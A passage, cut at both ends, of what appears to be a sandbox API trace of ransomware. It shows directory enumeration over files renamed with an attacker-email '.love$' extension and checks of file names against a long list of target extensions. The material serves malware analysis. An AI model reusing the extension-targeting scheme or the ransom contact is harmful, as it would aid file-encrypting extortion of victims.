ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="..", cAlternateFileName="")) returned 1 [0223.169] FindNextFileW (in: hFindFile=0x6d0548, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7cf3e7f, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7cf3e7f, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7cf3e7f, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.169] FindNextFileW (in: hFindFile=0x6d0548, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7d1039a, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7d1039a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7d1039a, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x139b6, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.169] FindNextFileW (in: hFindFile=0x6d0548, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa750251a, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa750251a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7659958, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.169] FindNextFileW (in: hFindFile=0x6d0548, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa750251a, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa750251a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7659958, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.169] FindClose (in: hFindFile=0x6d0548 | out: hFindFile=0x6d0548) returned 1 [0223.170] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0223.171] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7659958, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7659958, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="1041", cAlternateFileName="")) returned 1 [0223.171] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041") returned 26 [0223.171] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\588bce7c90097ed212\\1041") returned 1 [0223.171] lstrlenW (lpString="1041") returned 4 [0223.171] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="1041") returned 1 [0223.171] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4110060 [0223.171] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041") returned 26 [0223.171] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7659958, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7659958, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName=".", cAlternateFileName="")) returned 0x6d0348 [0223.173] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7659958, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7659958, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="..", cAlternateFileName="")) returned 1 [0223.173] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7fbcea8, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7fbcea8, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7fbcea8, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x2874, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.174] lstrlenW (lpString="eula.rtf.id-B4197730.[im.online@aol.com].love$") returned 46 [0223.174] lstrlenW (lpString=".1cd") returned 4 [0223.174] lstrcmpiW (lpString1=".1cd", lpString2="ove$") returned -1 [0223.174] lstrlenW (lpString=".3ds") returned 4 [0223.174] lstrcmpiW (lpString1=".3ds", lpString2="ove$") returned -1 [0223.174] lstrlenW (lpString=".3fr") returned 4 [0223.174] lstrcmpiW (lpString1=".3fr", lpString2="ove$") returned -1 [0223.174] lstrlenW (lpString=".3g2") returned 4 [0223.174] lstrcmpiW (lpString1=".3g2", lpString2="ove$") returned -1 [0223.174] lstrlenW (lpString=".3gp") returned 4 [0223.174] lstrcmpiW (lpString1=".3gp", lpString2="ove$") returned -1 [0223.174] lstrlenW (lpString=".7z") returned 3 [0223.174] lstrcmpiW (lpString1=".7z", lpString2="ve$") returned -1 [0223.174] lstrlenW (lpString=".accda") returned 6 [0223.174] lstrcmpiW (lpString1=".accda", lpString2=".love$") returned -1 [0223.174] lstrlenW (lpString=".accdb") returned 6 [0223.174] lstrcmpiW (lpString1=".accdb", lpString2=".love$") returned -1 [0223.174] lstrlenW (lpString=".accdc") returned 6 [0223.174] lstrcmpiW (lpString1=".accdc", lpString2=".love$") returned -1 [0223.174] lstrlenW (lpString=".accde") returned 6 [0223.174] lstrcmpiW (lpString1=".accde", lpString2=".love$") returned -1 [0223.174] lstrlenW (lpString=".accdt") returned 6 [0223.174] lstrcmpiW (lpString1=".accdt", lpString2=".love$") returned -1 [0223.174] lstrlenW (lpString=".accdw") returned 6 [0223.174] lstrcmpiW (lpString1=".accdw", lpString2=".love$") returned -1 [0223.174] lstrlenW (lpString=".adb") returned 4 [0223.175] lstrcmpiW (lpString1=".adb", lpString2="ove$") returned -1 [0223.175] lstrlenW (lpString=".adp") returned 4 [0223.175] lstrcmpiW (lpString1=".adp", lpString2="ove$") returned -1 [0223.175] lstrlenW (lpString=".ai") returned 3 [0223.175] lstrcmpiW (lpString1=".ai", lpString2="ve$") returned -1 [0223.175] lstrlenW (lpString=".ai3") returned 4 [0223.175] lstrcmpiW (lpString1=".ai3", lpString2="ove$") returned -1 [0223.175] lstrlenW (lpString=".ai4") returned 4 [0223.175] lstrcmpiW (lpString1=".ai4", lpString2="ove$") returned -1 [0223.175] lstrlenW (lpString=".ai5") returned 4 [0223.175] lstrcmpiW (lpString1=".ai5", lpString2="ove$") returned -1 [0223.175] lstrlenW (lpString=".ai6") returned 4 [0223.175] lstrcmpiW (lpString1=".ai6", lpString2="ove$") returned -1 [0223.175] lstrlenW (lpString=".ai7") returned 4 [0223.175] lstrcmpiW (lpString1=".ai7", lpString2="ove$") returned -1 [0223.175] lstrlenW (lpString=".ai8") returned 4 [0223.175] lstrcmpiW (lpString1=".ai8", lpString2="ove$") returned -1 [0223.175] lstrlenW (lpString=".anim") returned 5 [0223.175] lstrcmpiW (lpString1=".anim", lpString2="love$") returned -1 [0223.175] lstrlenW (lpString=".arw") returned 4 [0223.175] lstrcmpiW (lpString1=".arw", lpString2="ove$") returned -1 [0223.175] lstrlenW (lpString=".as") returned 3 [0223.175] lstrcmpiW (lpString1=".as", lpString2="ve$") returned -1 [0223.175] lstrlenW (lpString=".asa") returned 4 [0223.175] lstrcmpiW (lpString1=".asa", lpString2="ove$") returned -1 [0223.175] lstrlenW (lpString=".asc") returned 4 [0223.175] lstrcmpiW (lpString1=".asc", lpString2="ove$") returned -1 [0223.175] lstrlenW (lpString=".ascx") returned 5 [0223.175] lstrcmpiW (lpString1=".ascx", lpString2="love$") returned -1 [0223.175] lstrlenW (lpString=".asm") returned 4 [0223.175] lstrcmpiW (lpString1=".asm", lpString2="ove$") returned -1 [0223.175] lstrlenW (lpString=".asmx") returned 5 [0223.175] lstrcmpiW (lpString1=".asmx", lpString2="love$") returned -1 [0223.176] lstrlenW (lpString=".asp") returned 4 [0223.176] lstrcmpiW (lpString1=".asp", lpString2="ove$") returned -1 [0223.176] lstrlenW (lpString=".aspx") returned 5 [0223.176] lstrcmpiW (lpString1=".aspx", lpString2="love$") returned -1 [0223.176] lstrlenW (lpString=".asr") returned 4 [0223.176] lstrcmpiW (lpString1=".asr", lpString2="ove$") returned -1 [0223.176] lstrlenW (lpString=".asx") returned 4 [0223.176] lstrcmpiW (lpString1=".asx", lpString2="ove$") returned -1 [0223.176] lstrlenW (lpString=".avi") returned 4 [0223.176] lstrcmpiW (lpString1=".avi", lpString2="ove$") returned -1 [0223.176] lstrlenW (lpString=".avs") returned 4 [0223.176] lstrcmpiW (lpString1=".avs", lpString2="ove$") returned -1 [0223.176] lstrlenW (lpString=".backup") returned 7 [0223.176] lstrcmpiW (lpString1=".backup", lpString2="].love$") returned -1 [0223.176] lstrlenW (lpString=".bak") returned 4 [0223.176] lstrcmpiW (lpString1=".bak", lpString2="ove$") returned -1 [0223.176] lstrlenW (lpString=".bay") returned 4 [0223.176] lstrcmpiW (lpString1=".bay", lpString2="ove$") returned -1 [0223.176] lstrlenW (lpString=".bd") returned 3 [0223.176] lstrcmpiW (lpString1=".bd", lpString2="ve$") returned -1 [0223.176] lstrlenW (lpString=".bin") returned 4 [0223.176] lstrcmpiW (lpString1=".bin", lpString2="ove$") returned -1 [0223.176] lstrlenW (lpString=".bmp") returned 4 [0223.176] lstrcmpiW (lpString1=".bmp", lpString2="ove$") returned -1 [0223.176] lstrlenW (lpString=".bz2") returned 4 [0223.176] lstrcmpiW (lpString1=".bz2", lpString2="ove$") returned -1 [0223.176] lstrlenW (lpString=".c") returned 2 [0223.176] lstrcmpiW (lpString1=".c", lpString2="e$") returned -1 [0223.176] lstrlenW (lpString=".cdr") returned 4 [0223.176] lstrcmpiW (lpString1=".cdr", lpString2="ove$") returned -1 [0223.176] lstrlenW (lpString=".cer") returned 4 [0223.176] lstrcmpiW (lpString1=".cer", lpString2="ove$") returned -1 [0223.176] lstrlenW (lpString=".cf") returned 3 [0223.177] lstrcmpiW (lpString1=".cf", lpString2="ve$") returned -1 [0223.177] lstrlenW (lpString=".cfc") returned 4 [0223.177] lstrcmpiW (lpString1=".cfc", lpString2="ove$") returned -1 [0223.177] lstrlenW (lpString=".cfm") returned 4 [0223.177] lstrcmpiW (lpString1=".cfm", lpString2="ove$") returned -1 [0223.177] lstrlenW (lpString=".cfml") returned 5 [0223.177] lstrcmpiW (lpString1=".cfml", lpString2="love$") returned -1 [0223.177] lstrlenW (lpString=".cfu") returned 4 [0223.177] lstrcmpiW (lpString1=".cfu", lpString2="ove$") returned -1 [0223.177] lstrlenW (lpString=".chm") returned 4 [0223.177] lstrcmpiW (lpString1=".chm", lpString2="ove$") returned -1 [0223.177] lstrlenW (lpString=".cin") returned 4 [0223.177] lstrcmpiW (lpString1=".cin", lpString2="ove$") returned -1 [0223.177] lstrlenW (lpString=".class") returned 6 [0223.177] lstrcmpiW (lpString1=".class", lpString2=".love$") returned -1 [0223.177] lstrlenW (lpString=".clx") returned 4 [0223.177] lstrcmpiW (lpString1=".clx", lpString2="ove$") returned -1 [0223.177] lstrlenW (lpString=".config") returned 7 [0223.177] lstrcmpiW (lpString1=".config", lpString2="].love$") returned -1 [0223.177] lstrlenW (lpString=".cpp") returned 4 [0223.177] lstrcmpiW (lpString1=".cpp", lpString2="ove$") returned -1 [0223.177] lstrlenW (lpString=".cr2") returned 4 [0223.177] lstrcmpiW (lpString1=".cr2", lpString2="ove$") returned -1 [0223.177] lstrlenW (lpString=".crt") returned 4 [0223.177] lstrcmpiW (lpString1=".crt", lpString2="ove$") returned -1 [0223.177] lstrlenW (lpString=".crw") returned 4 [0223.177] lstrcmpiW (lpString1=".crw", lpString2="ove$") returned -1 [0223.177] lstrlenW (lpString=".cs") returned 3 [0223.177] lstrcmpiW (lpString1=".cs", lpString2="ve$") returned -1 [0223.177] lstrlenW (lpString=".css") returned 4 [0223.177] lstrcmpiW (lpString1=".css", lpString2="ove$") returned -1 [0223.177] lstrlenW (lpString=".csv") returned 4 [0223.177] lstrcmpiW (lpString1=".csv", lpString2="ove$") returned -1 [0223.177] lstrlenW (lpString=".cub") returned 4 [0223.178] lstrcmpiW (lpString1=".cub", lpString2="ove$") returned -1 [0223.178] lstrlenW (lpString=".dae") returned 4 [0223.178] lstrcmpiW (lpString1=".dae", lpString2="ove$") returned -1 [0223.178] lstrlenW (lpString=".dat") returned 4 [0223.178] lstrcmpiW (lpString1=".dat", lpString2="ove$") returned -1 [0223.178] lstrlenW (lpString=".db") returned 3 [0223.178] lstrcmpiW (lpString1=".db", lpString2="ve$") returned -1 [0223.178] lstrlenW (lpString=".dbf") returned 4 [0223.178] lstrcmpiW (lpString1=".dbf", lpString2="ove$") returned -1 [0223.178] lstrlenW (lpString=".dbx") returned 4 [0223.178] lstrcmpiW (lpString1=".dbx", lpString2="ove$") returned -1 [0223.178] lstrlenW (lpString=".dc3") returned 4 [0223.178] lstrcmpiW (lpString1=".dc3", lpString2="ove$") returned -1 [0223.178] lstrlenW (lpString=".dcm") returned 4 [0223.178] lstrcmpiW (lpString1=".dcm", lpString2="ove$") returned -1 [0223.178] lstrlenW (lpString=".dcr") returned 4 [0223.178] lstrcmpiW (lpString1=".dcr", lpString2="ove$") returned -1 [0223.178] lstrlenW (lpString=".der") returned 4 [0223.178] lstrcmpiW (lpString1=".der", lpString2="ove$") returned -1 [0223.178] lstrlenW (lpString=".dib") returned 4 [0223.178] lstrcmpiW (lpString1=".dib", lpString2="ove$") returned -1 [0223.178] lstrlenW (lpString=".dic") returned 4 [0223.178] lstrcmpiW (lpString1=".dic", lpString2="ove$") returned -1 [0223.178] lstrlenW (lpString=".dif") returned 4 [0223.178] lstrcmpiW (lpString1=".dif", lpString2="ove$") returned -1 [0223.178] lstrlenW (lpString=".divx") returned 5 [0223.178] lstrcmpiW (lpString1=".divx", lpString2="love$") returned -1 [0223.178] lstrlenW (lpString=".djvu") returned 5 [0223.178] lstrcmpiW (lpString1=".djvu", lpString2="love$") returned -1 [0223.178] lstrlenW (lpString=".dng") returned 4 [0223.178] lstrcmpiW (lpString1=".dng", lpString2="ove$") returned -1 [0223.178] lstrlenW (lpString=".doc") returned 4 [0223.178] lstrcmpiW (lpString1=".doc", lpString2="ove$") returned -1 [0223.178] lstrlenW (lpString=".docm") returned 5 [0223.179] lstrcmpiW (lpString1=".docm", lpString2="love$") returned -1 [0223.179] lstrlenW (lpString=".docx") returned 5 [0223.179] lstrcmpiW (lpString1=".docx", lpString2="love$") returned -1 [0223.179] lstrlenW (lpString=".dot") returned 4 [0223.179] lstrcmpiW (lpString1=".dot", lpString2="ove$") returned -1 [0223.179] lstrlenW (lpString=".dotm") returned 5 [0223.179] lstrcmpiW (lpString1=".dotm", lpString2="love$") returned -1 [0223.179] lstrlenW (lpString=".dotx") returned 5 [0223.179] lstrcmpiW (lpString1=".dotx", lpString2="love$") returned -1 [0223.179] lstrlenW (lpString=".dpx") returned 4 [0223.179] lstrcmpiW (lpString1=".dpx", lpString2="ove$") returned -1 [0223.179] lstrlenW (lpString=".dqy") returned 4 [0223.179] lstrcmpiW (lpString1=".dqy", lpString2="ove$") returned -1 [0223.179] lstrlenW (lpString=".dsn") returned 4 [0223.179] lstrcmpiW (lpString1=".dsn", lpString2="ove$") returned -1 [0223.179] lstrlenW (lpString=".dt") returned 3 [0223.179] lstrcmpiW (lpString1=".dt", lpString2="ve$") returned -1 [0223.179] lstrlenW (lpString=".dtd") returned 4 [0223.179] lstrcmpiW (lpString1=".dtd", lpString2="ove$") returned -1 [0223.179] lstrlenW (lpString=".dwg") returned 4 [0223.179] lstrcmpiW (lpString1=".dwg", lpString2="ove$") returned -1 [0223.179] lstrlenW (lpString=".dwt") returned 4 [0223.179] lstrcmpiW (lpString1=".dwt", lpString2="ove$") returned -1 [0223.179] lstrlenW (lpString=".dx") returned 3 [0223.179] lstrcmpiW (lpString1=".dx", lpString2="ve$") returned -1 [0223.179] lstrlenW (lpString=".dxf") returned 4 [0223.179] lstrcmpiW (lpString1=".dxf", lpString2="ove$") returned -1 [0223.179] lstrlenW (lpString=".edml") returned 5 [0223.179] lstrcmpiW (lpString1=".edml", lpString2="love$") returned -1 [0223.179] lstrlenW (lpString=".efd") returned 4 [0223.179] lstrcmpiW (lpString1=".efd", lpString2="ove$") returned -1 [0223.179] lstrlenW (lpString=".elf") returned 4 [0223.180] lstrcmpiW (lpString1=".elf", lpString2="ove$") returned -1 [0223.180] lstrlenW (lpString=".emf") returned 4 [0223.180] lstrcmpiW (lpString1=".emf", lpString2="ove$") returned -1 [0223.180] lstrlenW (lpString=".emz") returned 4 [0223.180] lstrcmpiW (lpString1=".emz", lpString2="ove$") returned -1 [0223.180] lstrlenW (lpString=".epf") returned 4 [0223.180] lstrcmpiW (lpString1=".epf", lpString2="ove$") returned -1 [0223.180] lstrlenW (lpString=".eps") returned 4 [0223.180] lstrcmpiW (lpString1=".eps", lpString2="ove$") returned -1 [0223.180] lstrlenW (lpString=".epsf") returned 5 [0223.180] lstrcmpiW (lpString1=".epsf", lpString2="love$") returned -1 [0223.180] lstrlenW (lpString=".epsp") returned 5 [0223.180] lstrcmpiW (lpString1=".epsp", lpString2="love$") returned -1 [0223.180] lstrlenW (lpString=".erf") returned 4 [0223.180] lstrcmpiW (lpString1=".erf", lpString2="ove$") returned -1 [0223.180] lstrlenW (lpString=".exr") returned 4 [0223.180] lstrcmpiW (lpString1=".exr", lpString2="ove$") returned -1 [0223.180] lstrlenW (lpString=".f4v") returned 4 [0223.180] lstrcmpiW (lpString1=".f4v", lpString2="ove$") returned -1 [0223.180] lstrlenW (lpString=".fido") returned 5 [0223.180] lstrcmpiW (lpString1=".fido", lpString2="love$") returned -1 [0223.180] lstrlenW (lpString=".flm") returned 4 [0223.180] lstrcmpiW (lpString1=".flm", lpString2="ove$") returned -1 [0223.180] lstrlenW (lpString=".flv") returned 4 [0223.180] lstrcmpiW (lpString1=".flv", lpString2="ove$") returned -1 [0223.180] lstrlenW (lpString=".frm") returned 4 [0223.180] lstrcmpiW (lpString1=".frm", lpString2="ove$") returned -1 [0223.180] lstrlenW (lpString=".fxg") returned 4 [0223.180] lstrcmpiW (lpString1=".fxg", lpString2="ove$") returned -1 [0223.180] lstrlenW (lpString=".geo") returned 4 [0223.180] lstrcmpiW (lpString1=".geo", lpString2="ove$") returned -1 [0223.180] lstrlenW (lpString=".gif") returned 4 [0223.180] lstrcmpiW (lpString1=".gif", lpString2="ove$") returned -1 [0223.180] lstrlenW (lpString=".grs") returned 4 [0223.181] lstrcmpiW (lpString1=".grs", lpString2="ove$") returned -1 [0223.181] lstrlenW (lpString=".gz") returned 3 [0223.181] lstrcmpiW (lpString1=".gz", lpString2="ve$") returned -1 [0223.181] lstrlenW (lpString=".h") returned 2 [0223.181] lstrcmpiW (lpString1=".h", lpString2="e$") returned -1 [0223.181] lstrlenW (lpString=".hdr") returned 4 [0223.181] lstrcmpiW (lpString1=".hdr", lpString2="ove$") returned -1 [0223.181] lstrlenW (lpString=".hpp") returned 4 [0223.181] lstrcmpiW (lpString1=".hpp", lpString2="ove$") returned -1 [0223.181] lstrlenW (lpString=".hta") returned 4 [0223.181] lstrcmpiW (lpString1=".hta", lpString2="ove$") returned -1 [0223.181] lstrlenW (lpString=".htc") returned 4 [0223.181] lstrcmpiW (lpString1=".htc", lpString2="ove$") returned -1 [0223.181] lstrlenW (lpString=".htm") returned 4 [0223.181] lstrcmpiW (lpString1=".htm", lpString2="ove$") returned -1 [0223.181] lstrlenW (lpString=".html") returned 5 [0223.181] lstrcmpiW (lpString1=".html", lpString2="love$") returned -1 [0223.181] lstrlenW (lpString=".icb") returned 4 [0223.181] lstrcmpiW (lpString1=".icb", lpString2="ove$") returned -1 [0223.181] lstrlenW (lpString=".ics") returned 4 [0223.181] lstrcmpiW (lpString1=".ics", lpString2="ove$") returned -1 [0223.181] lstrlenW (lpString=".iff") returned 4 [0223.181] lstrcmpiW (lpString1=".iff", lpString2="ove$") returned -1 [0223.181] lstrlenW (lpString=".inc") returned 4 [0223.181] lstrcmpiW (lpString1=".inc", lpString2="ove$") returned -1 [0223.181] lstrlenW (lpString=".indd") returned 5 [0223.181] lstrcmpiW (lpString1=".indd", lpString2="love$") returned -1 [0223.181] lstrlenW (lpString=".ini") returned 4 [0223.181] lstrcmpiW (lpString1=".ini", lpString2="ove$") returned -1 [0223.182] lstrlenW (lpString=".iqy") returned 4 [0223.182] lstrcmpiW (lpString1=".iqy", lpString2="ove$") returned -1 [0223.182] lstrlenW (lpString=".j2c") returned 4 [0223.182] lstrcmpiW (lpString1=".j2c", lpString2="ove$") returned -1 [0223.182] lstrlenW (lpString=".j2k") returned 4 [0223.182] lstrcmpiW (lpString1=".j2k", lpString2="ove$") returned -1 [0223.182] lstrlenW (lpString=".java") returned 5 [0223.182] lstrcmpiW (lpString1=".java", lpString2="love$") returned -1 [0223.182] lstrlenW (lpString=".jp2") returned 4 [0223.182] lstrcmpiW (lpString1=".jp2", lpString2="ove$") returned -1 [0223.182] lstrlenW (lpString=".jpc") returned 4 [0223.182] lstrcmpiW (lpString1=".jpc", lpString2="ove$") returned -1 [0223.182] lstrlenW (lpString=".jpe") returned 4 [0223.182] lstrcmpiW (lpString1=".jpe", lpString2="ove$") returned -1 [0223.182] lstrlenW (lpString=".jpeg") returned 5 [0223.182] lstrcmpiW (lpString1=".jpeg", lpString2="love$") returned -1 [0223.182] lstrlenW (lpString=".jpf") returned 4 [0223.182] lstrcmpiW (lpString1=".jpf", lpString2="ove$") returned -1 [0223.182] lstrlenW (lpString=".jpg") returned 4 [0223.182] lstrcmpiW (lpString1=".jpg", lpString2="ove$") returned -1 [0223.182] lstrlenW (lpString=".jpx") returned 4 [0223.182] lstrcmpiW (lpString1=".jpx", lpString2="ove$") returned -1 [0223.182] lstrlenW (lpString=".js") returned 3 [0223.182] lstrcmpiW (lpString1=".js", lpString2="ve$") returned -1 [0223.182] lstrlenW (lpString=".jsf") returned 4 [0223.182] lstrcmpiW (lpString1=".jsf", lpString2="ove$") returned -1 [0223.182] lstrlenW (lpString=".json") returned 5 [0223.182] lstrcmpiW (lpString1=".json", lpString2="love$") returned -1 [0223.182] lstrlenW (lpString=".jsp") returned 4 [0223.182] lstrcmpiW (lpString1=".jsp", lpString2="ove$") returned -1 [0223.182] lstrlenW (lpString=".kdc") returned 4 [0223.182] lstrcmpiW (lpString1=".kdc", lpString2="ove$") returned -1 [0223.182] lstrlenW (lpString=".kmz") returned 4 [0223.182] lstrcmpiW (lpString1=".kmz", lpString2="ove$") returned -1 [0223.182] lstrlenW (lpString=".kwm") returned 4 [0223.183] lstrcmpiW (lpString1=".kwm", lpString2="ove$") returned -1 [0223.183] lstrlenW (lpString=".lasso") returned 6 [0223.183] lstrcmpiW (lpString1=".lasso", lpString2=".love$") returned -1 [0223.183] lstrlenW (lpString=".lbi") returned 4 [0223.183] lstrcmpiW (lpString1=".lbi", lpString2="ove$") returned -1 [0223.183] lstrlenW (lpString=".lgf") returned 4 [0223.183] lstrcmpiW (lpString1=".lgf", lpString2="ove$") returned -1 [0223.183] lstrlenW (lpString=".lgp") returned 4 [0223.183] lstrcmpiW (lpString1=".lgp", lpString2="ove$") returned -1 [0223.183] lstrlenW (lpString=".log") returned 4 [0223.183] lstrcmpiW (lpString1=".log", lpString2="ove$") returned -1 [0223.183] lstrlenW (lpString=".m1v") returned 4 [0223.183] lstrcmpiW (lpString1=".m1v", lpString2="ove$") returned -1 [0223.183] lstrlenW (lpString=".m4a") returned 4 [0223.183] lstrcmpiW (lpString1=".m4a", lpString2="ove$") returned -1 [0223.183] lstrlenW (lpString=".m4v") returned 4 [0223.183] lstrcmpiW (lpString1=".m4v", lpString2="ove$") returned -1 [0223.183] lstrlenW (lpString=".max") returned 4 [0223.183] lstrcmpiW (lpString1=".max", lpString2="ove$") returned -1 [0223.183] lstrlenW (lpString=".md") returned 3 [0223.183] lstrcmpiW (lpString1=".md", lpString2="ve$") returned -1 [0223.183] lstrlenW (lpString=".mda") returned 4 [0223.183] lstrcmpiW (lpString1=".mda", lpString2="ove$") returned -1 [0223.183] lstrlenW (lpString=".mdb") returned 4 [0223.183] lstrcmpiW (lpString1=".mdb", lpString2="ove$") returned -1 [0223.183] lstrlenW (lpString=".mde") returned 4 [0223.183] lstrcmpiW (lpString1=".mde", lpString2="ove$") returned -1 [0223.183] lstrlenW (lpString=".mdf") returned 4 [0223.183] lstrcmpiW (lpString1=".mdf", lpString2="ove$") returned -1 [0223.183] lstrlenW (lpString=".mdw") returned 4 [0223.183] lstrcmpiW (lpString1=".mdw", lpString2="ove$") returned -1 [0223.183] lstrlenW (lpString=".mef") returned 4 [0223.183] lstrcmpiW (lpString1=".mef", lpString2="ove$") returned -1 [0223.183] lstrlenW (lpString=".mft") returned 4 [0223.184] lstrcmpiW (lpString1=".mft", lpString2="ove$") returned -1 [0223.184] lstrlenW (lpString=".mfw") returned 4 [0223.184] lstrcmpiW (lpString1=".mfw", lpString2="ove$") returned -1 [0223.184] lstrlenW (lpString=".mht") returned 4 [0223.184] lstrcmpiW (lpString1=".mht", lpString2="ove$") returned -1 [0223.184] lstrlenW (lpString=".mhtml") returned 6 [0223.184] lstrcmpiW (lpString1=".mhtml", lpString2=".love$") returned 1 [0223.184] lstrlenW (lpString=".mka") returned 4 [0223.184] lstrcmpiW (lpString1=".mka", lpString2="ove$") returned -1 [0223.184] lstrlenW (lpString=".mkidx") returned 6 [0223.184] lstrcmpiW (lpString1=".mkidx", lpString2=".love$") returned 1 [0223.184] lstrlenW (lpString=".mkv") returned 4 [0223.184] lstrcmpiW (lpString1=".mkv", lpString2="ove$") returned -1 [0223.184] lstrlenW (lpString=".mos") returned 4 [0223.184] lstrcmpiW (lpString1=".mos", lpString2="ove$") returned -1 [0223.184] lstrlenW (lpString=".mov") returned 4 [0223.184] lstrcmpiW (lpString1=".mov", lpString2="ove$") returned -1 [0223.184] lstrlenW (lpString=".mp3") returned 4 [0223.184] lstrcmpiW (lpString1=".mp3", lpString2="ove$") returned -1 [0223.184] lstrlenW (lpString=".mp4") returned 4 [0223.184] lstrcmpiW (lpString1=".mp4", lpString2="ove$") returned -1 [0223.184] lstrlenW (lpString=".mpeg") returned 5 [0223.184] lstrcmpiW (lpString1=".mpeg", lpString2="love$") returned -1 [0223.184] lstrlenW (lpString=".mpg") returned 4 [0223.184] lstrcmpiW (lpString1=".mpg", lpString2="ove$") returned -1 [0223.184] lstrlenW (lpString=".mpv") returned 4 [0223.184] lstrcmpiW (lpString1=".mpv", lpString2="ove$") returned -1 [0223.184] lstrlenW (lpString=".mrw") returned 4 [0223.184] lstrcmpiW (lpString1=".mrw", lpString2="ove$") returned -1 [0223.184] lstrlenW (lpString=".msg") returned 4 [0223.184] lstrcmpiW (lpString1=".msg", lpString2="ove$") returned -1 [0223.184] lstrlenW (lpString=".mxl") returned 4 [0223.184] lstrcmpiW (lpString1=".mxl", lpString2="ove$") returned -1 [0223.184] lstrlenW (lpString=".myd") returned 4 [0223.184] lstrcmpiW (lpString1=".myd", lpString2="ove$") returned -1 [0223.184] lstrlenW (lpString=".myi") returned 4 [0223.185] lstrcmpiW (lpString1=".myi", lpString2="ove$") returned -1 [0223.185] lstrlenW (lpString=".nef") returned 4 [0223.185] lstrcmpiW (lpString1=".nef", lpString2="ove$") returned -1 [0223.185] lstrlenW (lpString=".nrw") returned 4 [0223.185] lstrcmpiW 